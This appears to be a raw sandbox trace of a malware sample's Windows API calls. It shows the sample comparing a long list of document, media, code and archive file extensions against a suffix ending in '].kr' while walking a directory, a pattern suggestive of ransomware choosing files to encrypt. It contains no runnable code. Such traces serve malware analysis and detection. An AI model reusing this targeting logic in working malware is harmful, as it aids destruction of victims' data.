lstrlenW (lpString=".ai6") returned 4 [0084.494] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0084.494] lstrlenW (lpString=".ai7") returned 4 [0084.494] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0084.494] lstrlenW (lpString=".ai8") returned 4 [0084.494] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0084.494] lstrlenW (lpString=".anim") returned 5 [0084.494] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0084.494] lstrlenW (lpString=".arw") returned 4 [0084.494] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0084.494] lstrlenW (lpString=".as") returned 3 [0084.494] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0084.494] lstrlenW (lpString=".asa") returned 4 [0084.494] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0084.494] lstrlenW (lpString=".asc") returned 4 [0084.494] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0084.494] lstrlenW (lpString=".ascx") returned 5 [0084.494] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0084.494] lstrlenW (lpString=".asm") returned 4 [0084.494] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0084.494] lstrlenW (lpString=".asmx") returned 5 [0084.494] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0084.494] lstrlenW (lpString=".asp") returned 4 [0084.494] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0084.494] lstrlenW (lpString=".aspx") returned 5 [0084.494] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0084.494] lstrlenW (lpString=".asr") returned 4 [0084.494] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0084.495] lstrlenW (lpString=".asx") returned 4 [0084.495] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0084.495] lstrlenW (lpString=".avi") returned 4 [0084.495] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0084.495] lstrlenW (lpString=".avs") returned 4 [0084.495] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0084.495] lstrlenW (lpString=".backup") returned 7 [0084.495] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0084.495] lstrlenW (lpString=".bak") returned 4 [0084.495] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0084.495] lstrlenW (lpString=".bay") returned 4 [0084.495] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0084.495] lstrlenW (lpString=".bd") returned 3 [0084.495] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0084.495] lstrlenW (lpString=".bin") returned 4 [0084.495] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0084.495] lstrlenW (lpString=".bmp") returned 4 [0084.495] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0084.495] lstrlenW (lpString=".bz2") returned 4 [0084.495] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0084.495] lstrlenW (lpString=".c") returned 2 [0084.495] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0084.495] lstrlenW (lpString=".cdr") returned 4 [0084.495] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0084.495] lstrlenW (lpString=".cer") returned 4 [0084.495] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0084.495] lstrlenW (lpString=".cf") returned 3 [0084.495] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0084.495] lstrlenW (lpString=".cfc") returned 4 [0084.495] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0084.495] lstrlenW (lpString=".cfm") returned 4 [0084.495] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0084.496] lstrlenW (lpString=".cfml") returned 5 [0084.496] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0084.496] lstrlenW (lpString=".cfu") returned 4 [0084.496] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0084.496] lstrlenW (lpString=".chm") returned 4 [0084.496] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0084.496] lstrlenW (lpString=".cin") returned 4 [0084.496] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0084.496] lstrlenW (lpString=".class") returned 6 [0084.496] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0084.496] lstrlenW (lpString=".clx") returned 4 [0084.496] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0084.496] lstrlenW (lpString=".config") returned 7 [0084.496] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0084.496] lstrlenW (lpString=".cpp") returned 4 [0084.496] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0084.496] lstrlenW (lpString=".cr2") returned 4 [0084.496] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0084.496] lstrlenW (lpString=".crt") returned 4 [0084.496] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0084.496] lstrlenW (lpString=".crw") returned 4 [0084.496] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0084.496] lstrlenW (lpString=".cs") returned 3 [0084.496] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0084.496] lstrlenW (lpString=".css") returned 4 [0084.496] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0084.496] lstrlenW (lpString=".csv") returned 4 [0084.496] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0084.496] lstrlenW (lpString=".cub") returned 4 [0084.496] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0084.496] lstrlenW (lpString=".dae") returned 4 [0084.496] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0084.496] lstrlenW (lpString=".dat") returned 4 [0084.497] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0084.497] lstrlenW (lpString=".db") returned 3 [0084.497] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0084.497] lstrlenW (lpString=".dbf") returned 4 [0084.497] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0084.497] lstrlenW (lpString=".dbx") returned 4 [0084.497] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0084.497] lstrlenW (lpString=".dc3") returned 4 [0084.497] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0084.497] lstrlenW (lpString=".dcm") returned 4 [0084.497] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0084.497] lstrlenW (lpString=".dcr") returned 4 [0084.497] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0084.497] lstrlenW (lpString=".der") returned 4 [0084.497] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0084.497] lstrlenW (lpString=".dib") returned 4 [0084.497] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0084.497] lstrlenW (lpString=".dic") returned 4 [0084.497] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0084.497] lstrlenW (lpString=".dif") returned 4 [0084.497] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0084.497] lstrlenW (lpString=".divx") returned 5 [0084.497] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0084.497] lstrlenW (lpString=".djvu") returned 5 [0084.497] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0084.497] lstrlenW (lpString=".dng") returned 4 [0084.497] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0084.497] lstrlenW (lpString=".doc") returned 4 [0084.497] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0084.497] lstrlenW (lpString=".docm") returned 5 [0084.497] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0084.497] lstrlenW (lpString=".docx") returned 5 [0084.497] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0084.498] lstrlenW (lpString=".dot") returned 4 [0084.498] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0084.498] lstrlenW (lpString=".dotm") returned 5 [0084.498] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0084.498] lstrlenW (lpString=".dotx") returned 5 [0084.498] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0084.498] lstrlenW (lpString=".dpx") returned 4 [0084.498] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0084.498] lstrlenW (lpString=".dqy") returned 4 [0084.498] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0084.498] lstrlenW (lpString=".dsn") returned 4 [0084.498] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0084.498] lstrlenW (lpString=".dt") returned 3 [0084.498] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0084.498] lstrlenW (lpString=".dtd") returned 4 [0084.498] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0084.498] lstrlenW (lpString=".dwg") returned 4 [0084.498] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0084.498] lstrlenW (lpString=".dwt") returned 4 [0084.498] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0084.498] lstrlenW (lpString=".dx") returned 3 [0084.498] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0084.498] lstrlenW (lpString=".dxf") returned 4 [0084.498] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0084.498] lstrlenW (lpString=".edml") returned 5 [0084.498] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0084.498] lstrlenW (lpString=".efd") returned 4 [0084.498] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0084.498] lstrlenW (lpString=".elf") returned 4 [0084.498] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0084.498] lstrlenW (lpString=".emf") returned 4 [0084.499] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0084.499] lstrlenW (lpString=".emz") returned 4 [0084.499] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0084.499] lstrlenW (lpString=".epf") returned 4 [0084.499] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0084.499] lstrlenW (lpString=".eps") returned 4 [0084.499] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0084.499] lstrlenW (lpString=".epsf") returned 5 [0084.499] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0084.499] lstrlenW (lpString=".epsp") returned 5 [0084.499] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0084.499] lstrlenW (lpString=".erf") returned 4 [0084.499] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0084.499] lstrlenW (lpString=".exr") returned 4 [0084.499] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0084.499] lstrlenW (lpString=".f4v") returned 4 [0084.499] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0084.499] lstrlenW (lpString=".fido") returned 5 [0084.499] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0084.499] lstrlenW (lpString=".flm") returned 4 [0084.499] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0084.499] lstrlenW (lpString=".flv") returned 4 [0084.499] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0084.499] lstrlenW (lpString=".frm") returned 4 [0084.499] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0084.499] lstrlenW (lpString=".fxg") returned 4 [0084.499] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0084.499] lstrlenW (lpString=".geo") returned 4 [0084.499] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0084.499] lstrlenW (lpString=".gif") returned 4 [0084.500] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0084.500] lstrlenW (lpString=".grs") returned 4 [0084.500] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0084.500] lstrlenW (lpString=".gz") returned 3 [0084.500] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0084.500] lstrlenW (lpString=".h") returned 2 [0084.500] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0084.500] lstrlenW (lpString=".hdr") returned 4 [0084.500] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0084.500] lstrlenW (lpString=".hpp") returned 4 [0084.500] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0084.500] lstrlenW (lpString=".hta") returned 4 [0084.500] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0084.500] lstrlenW (lpString=".htc") returned 4 [0084.500] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0084.500] lstrlenW (lpString=".htm") returned 4 [0084.500] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0084.500] lstrlenW (lpString=".html") returned 5 [0084.500] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0084.500] lstrlenW (lpString=".icb") returned 4 [0084.500] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0084.500] lstrlenW (lpString=".ics") returned 4 [0084.500] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0084.500] lstrlenW (lpString=".iff") returned 4 [0084.500] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0084.500] lstrlenW (lpString=".inc") returned 4 [0084.500] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0084.500] lstrlenW (lpString=".indd") returned 5 [0084.500] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0084.500] lstrlenW (lpString=".ini") returned 4 [0084.500] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0084.500] lstrlenW (lpString=".iqy") returned 4 [0084.501] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0084.501] lstrlenW (lpString=".j2c") returned 4 [0084.501] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0084.501] lstrlenW (lpString=".j2k") returned 4 [0084.501] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0084.501] lstrlenW (lpString=".java") returned 5 [0084.501] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0084.501] lstrlenW (lpString=".jp2") returned 4 [0084.501] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0084.501] lstrlenW (lpString=".jpc") returned 4 [0084.501] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0084.501] lstrlenW (lpString=".jpe") returned 4 [0084.501] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0084.501] lstrlenW (lpString=".jpeg") returned 5 [0084.501] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0084.501] lstrlenW (lpString=".jpf") returned 4 [0084.501] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0084.501] lstrlenW (lpString=".jpg") returned 4 [0084.501] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0084.501] lstrlenW (lpString=".jpx") returned 4 [0084.501] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0084.501] lstrlenW (lpString=".js") returned 3 [0084.501] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0084.501] lstrlenW (lpString=".jsf") returned 4 [0084.501] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0084.501] lstrlenW (lpString=".json") returned 5 [0084.501] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0084.501] lstrlenW (lpString=".jsp") returned 4 [0084.501] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0084.501] lstrlenW (lpString=".kdc") returned 4 [0084.501] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0084.501] lstrlenW (lpString=".kmz") returned 4 [0084.501] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0084.502] lstrlenW (lpString=".kwm") returned 4 [0084.502] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0084.502] lstrlenW (lpString=".lasso") returned 6 [0084.502] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0084.502] lstrlenW (lpString=".lbi") returned 4 [0084.502] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0084.502] lstrlenW (lpString=".lgf") returned 4 [0084.502] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0084.502] lstrlenW (lpString=".lgp") returned 4 [0084.502] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0084.502] lstrlenW (lpString=".log") returned 4 [0084.502] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0084.502] lstrlenW (lpString=".m1v") returned 4 [0084.502] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0084.502] lstrlenW (lpString=".m4a") returned 4 [0084.502] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0084.502] lstrlenW (lpString=".m4v") returned 4 [0084.502] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0084.502] lstrlenW (lpString=".max") returned 4 [0084.502] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0084.502] lstrlenW (lpString=".md") returned 3 [0084.502] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0084.502] lstrlenW (lpString=".mda") returned 4 [0084.502] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0084.502] lstrlenW (lpString=".mdb") returned 4 [0084.502] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0084.502] lstrlenW (lpString=".mde") returned 4 [0084.502] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0084.502] lstrlenW (lpString=".mdf") returned 4 [0084.502] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0084.502] lstrlenW (lpString=".mdw") returned 4 [0084.502] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0084.503] lstrlenW (lpString=".mef") returned 4 [0084.503] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0084.503] lstrlenW (lpString=".mft") returned 4 [0084.503] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0084.503] lstrlenW (lpString=".mfw") returned 4 [0084.503] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0084.503] lstrlenW (lpString=".mht") returned 4 [0084.503] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0084.503] lstrlenW (lpString=".mhtml") returned 6 [0084.503] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0084.503] lstrlenW (lpString=".mka") returned 4 [0084.503] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0084.503] lstrlenW (lpString=".mkidx") returned 6 [0084.503] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0084.503] lstrlenW (lpString=".mkv") returned 4 [0084.503] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0084.503] lstrlenW (lpString=".mos") returned 4 [0084.503] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0084.503] lstrlenW (lpString=".mov") returned 4 [0084.503] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0084.503] lstrlenW (lpString=".mp3") returned 4 [0084.503] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0084.503] lstrlenW (lpString=".mp4") returned 4 [0084.503] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0084.503] lstrlenW (lpString=".mpeg") returned 5 [0084.503] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0084.503] lstrlenW (lpString=".mpg") returned 4 [0084.503] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0084.503] lstrlenW (lpString=".mpv") returned 4 [0084.503] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0084.503] lstrlenW (lpString=".mrw") returned 4 [0084.503] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0084.503] lstrlenW (lpString=".msg") returned 4 [0084.504] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0084.504] lstrlenW (lpString=".mxl") returned 4 [0084.504] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0084.504] lstrlenW (lpString=".myd") returned 4 [0084.504] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0084.504] lstrlenW (lpString=".myi") returned 4 [0084.504] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0084.504] lstrlenW (lpString=".nef") returned 4 [0084.504] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0084.504] lstrlenW (lpString=".nrw") returned 4 [0084.504] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0084.504] lstrlenW (lpString=".obj") returned 4 [0084.504] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0084.504] lstrlenW (lpString=".odb") returned 4 [0084.504] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0084.504] lstrlenW (lpString=".odc") returned 4 [0084.504] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0084.504] lstrlenW (lpString=".odm") returned 4 [0084.504] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0084.504] lstrlenW (lpString=".odp") returned 4 [0084.504] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0084.504] lstrlenW (lpString=".ods") returned 4 [0084.504] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0084.505] lstrlenW (lpString=".oft") returned 4 [0084.505] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0084.505] lstrlenW (lpString=".one") returned 4 [0084.505] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0084.505] lstrlenW (lpString=".onepkg") returned 7 [0084.505] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0084.505] lstrlenW (lpString=".onetoc2") returned 8 [0084.505] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0084.505] lstrlenW (lpString=".opt") returned 4 [0084.505] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0084.505] lstrlenW (lpString=".oqy") returned 4 [0084.505] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0084.505] lstrlenW (lpString=".orf") returned 4 [0084.505] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0084.505] lstrlenW (lpString=".p12") returned 4 [0084.505] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0084.505] lstrlenW (lpString=".p7b") returned 4 [0084.505] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0084.505] lstrlenW (lpString=".p7c") returned 4 [0084.505] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0084.505] lstrlenW (lpString=".pam") returned 4 [0084.505] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0084.505] lstrlenW (lpString=".pbm") returned 4 [0084.505] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0084.505] lstrlenW (lpString=".pct") returned 4 [0084.505] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0084.505] lstrlenW (lpString=".pcx") returned 4 [0084.505] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0084.505] lstrlenW (lpString=".pdd") returned 4 [0084.505] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0084.506] lstrlenW (lpString=".pdf") returned 4 [0084.506] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0084.506] lstrlenW (lpString=".pdp") returned 4 [0084.506] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0084.506] lstrlenW (lpString=".pef") returned 4 [0084.506] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0084.506] lstrlenW (lpString=".pem") returned 4 [0084.506] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0084.506] lstrlenW (lpString=".pff") returned 4 [0084.506] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0084.506] lstrlenW (lpString=".pfm") returned 4 [0084.506] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0084.506] lstrlenW (lpString=".pfx") returned 4 [0084.506] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0084.506] lstrlenW (lpString=".pgm") returned 4 [0084.506] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0084.506] lstrlenW (lpString=".php") returned 4 [0084.506] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0084.506] lstrlenW (lpString=".php3") returned 5 [0084.506] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0084.506] lstrlenW (lpString=".php4") returned 5 [0084.506] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0084.506] lstrlenW (lpString=".php5") returned 5 [0084.506] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0084.506] lstrlenW (lpString=".phtml") returned 6 [0084.506] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0084.506] lstrlenW (lpString=".pict") returned 5 [0084.507] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0084.507] lstrlenW (lpString=".pl") returned 3 [0084.507] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0084.507] lstrlenW (lpString=".pls") returned 4 [0084.507] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0084.507] lstrlenW (lpString=".pm") returned 3 [0084.507] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0084.507] lstrlenW (lpString=".png") returned 4 [0084.507] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0084.507] lstrlenW (lpString=".pnm") returned 4 [0084.507] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0084.507] lstrlenW (lpString=".pot") returned 4 [0084.507] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0084.507] lstrlenW (lpString=".potm") returned 5 [0084.507] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0084.507] lstrlenW (lpString=".potx") returned 5 [0084.507] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0084.507] lstrlenW (lpString=".ppa") returned 4 [0084.507] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0084.507] lstrlenW (lpString=".ppam") returned 5 [0084.507] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0084.507] lstrlenW (lpString=".ppm") returned 4 [0084.507] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0084.507] lstrlenW (lpString=".pps") returned 4 [0084.507] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0084.507] lstrlenW (lpString=".ppsm") returned 5 [0084.507] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0084.507] lstrlenW (lpString=".ppt") returned 4 [0084.508] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0084.508] lstrlenW (lpString=".pptm") returned 5 [0084.508] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0084.508] lstrlenW (lpString=".pptx") returned 5 [0084.508] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0084.508] lstrlenW (lpString=".prn") returned 4 [0084.508] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0084.508] lstrlenW (lpString=".ps") returned 3 [0084.508] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0084.508] lstrlenW (lpString=".psb") returned 4 [0084.508] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0084.508] lstrlenW (lpString=".psd") returned 4 [0084.508] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0084.508] lstrlenW (lpString=".pst") returned 4 [0084.508] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0084.508] lstrlenW (lpString=".ptx") returned 4 [0084.508] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0084.508] lstrlenW (lpString=".pub") returned 4 [0084.508] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0084.508] lstrlenW (lpString=".pwm") returned 4 [0084.508] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0084.508] lstrlenW (lpString=".pxr") returned 4 [0084.508] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0084.508] lstrlenW (lpString=".py") returned 3 [0084.508] lstrcmpiW (lpString1=".py", lpString2=".kr") returned 1 [0084.508] lstrlenW (lpString=".qt") returned 3 [0084.508] lstrcmpiW (lpString1=".qt", lpString2=".kr") returned 1 [0084.509] lstrlenW (lpString=".r3d") returned 4 [0084.509] lstrcmpiW (lpString1=".r3d", lpString2="].kr") returned -1 [0084.509] lstrlenW (lpString=".raf") returned 4 [0084.509] lstrcmpiW (lpString1=".raf", lpString2="].kr") returned -1 [0084.509] lstrlenW (lpString=".rar") returned 4 [0084.509] lstrcmpiW (lpString1=".rar", lpString2="].kr") returned -1 [0084.509] FindNextFileW (in: hFindFile=0x42603d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc56ca1e9, 